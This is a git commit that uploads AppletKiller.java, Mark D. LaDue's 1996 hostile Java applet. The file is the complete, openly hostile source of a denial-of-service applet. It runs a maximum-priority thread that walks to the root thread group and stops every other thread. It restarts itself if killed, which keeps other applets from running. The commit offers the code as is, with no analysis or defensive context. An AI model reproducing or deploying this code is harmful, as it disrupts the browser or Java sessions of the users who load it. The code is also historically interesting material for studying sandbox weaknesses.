Add files via upload

2026-06-15 15:29:23 +00:00 · 2020-10-09 21:52:29 -05:00
parent 930c435323
commit 274e38533a
3 changed files with 239 additions and 0 deletions
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+
+/*  AppletKiller.java by Mark D. LaDue */
+
+/*  April 1, 1996  */
+
+/*  Copyright (c) 1996 Mark D. LaDue
+    You may study, use, modify, and distribute this example for any purpose.
+    This example is provided WITHOUT WARRANTY either expressed or implied.  */
+
+/*  This hostile applet stops any applets that are running and kills any
+    other applets that are downloaded. */ 
+
+import java.applet.*;
+import java.awt.*;
+import java.io.*;
+
+public class AppletKiller extends java.applet.Applet implements Runnable {
+    Thread killer;
+    
+    public void init() {
+        killer = null;
+    }
+
+    public void start() {
+        if (killer == null) {
+            killer = new Thread(this,"killer");
+            killer.setPriority(Thread.MAX_PRIORITY);
+            killer.start();
+        }
+    }
+
+    public void stop() {}    
+
+// Kill all threads except this one
+
+    public void run() {
+        try {
+            while (true) {
+                ThreadKiller.killAllThreads();
+                try { killer.sleep(100); }
+                catch (InterruptedException e) {}
+            }
+        }
+        catch (ThreadDeath td) {}
+
+// Resurrect the hostile thread in case of accidental ThreadDeath
+
+        finally {
+            AppletKiller ack = new AppletKiller();
+            Thread reborn = new Thread(ack, "killer");
+            reborn.start();
+        }
+    }
+}
+
+class ThreadKiller {
+
+// Ascend to the root ThreadGroup and list all subgroups recursively,
+// killing all threads as we go
+
+    public static void killAllThreads() {
+        ThreadGroup thisGroup;
+        ThreadGroup topGroup;
+        ThreadGroup parentGroup;
+        
+// Determine the current thread group
+        thisGroup = Thread.currentThread().getThreadGroup();
+        
+// Proceed to the top ThreadGroup
+        topGroup  = thisGroup;
+        parentGroup = topGroup.getParent();
+        while(parentGroup != null) {
+            topGroup  = parentGroup;
+            parentGroup = parentGroup.getParent();
+        }
+// Find all subgroups recursively 
+        findGroups(topGroup);
+    }
+    
+    private static void findGroups(ThreadGroup g) {
+        if (g == null) {return;}
+        else {
+        int numThreads = g.activeCount();
+        int numGroups = g.activeGroupCount();
+        Thread[] threads = new Thread[numThreads];
+        ThreadGroup[] groups = new ThreadGroup[numGroups];
+        g.enumerate(threads, false);
+        g.enumerate(groups, false);
+        for (int i = 0; i < numThreads; i++)
+            killOneThread(threads[i]);
+        for (int i = 0; i < numGroups; i++)
+            findGroups(groups[i]);
+        }
+    }
+
+    private static void killOneThread(Thread t) { 
+        if (t == null || t.getName().equals("killer")) {return;}
+        else {t.stop();}
+    }
+}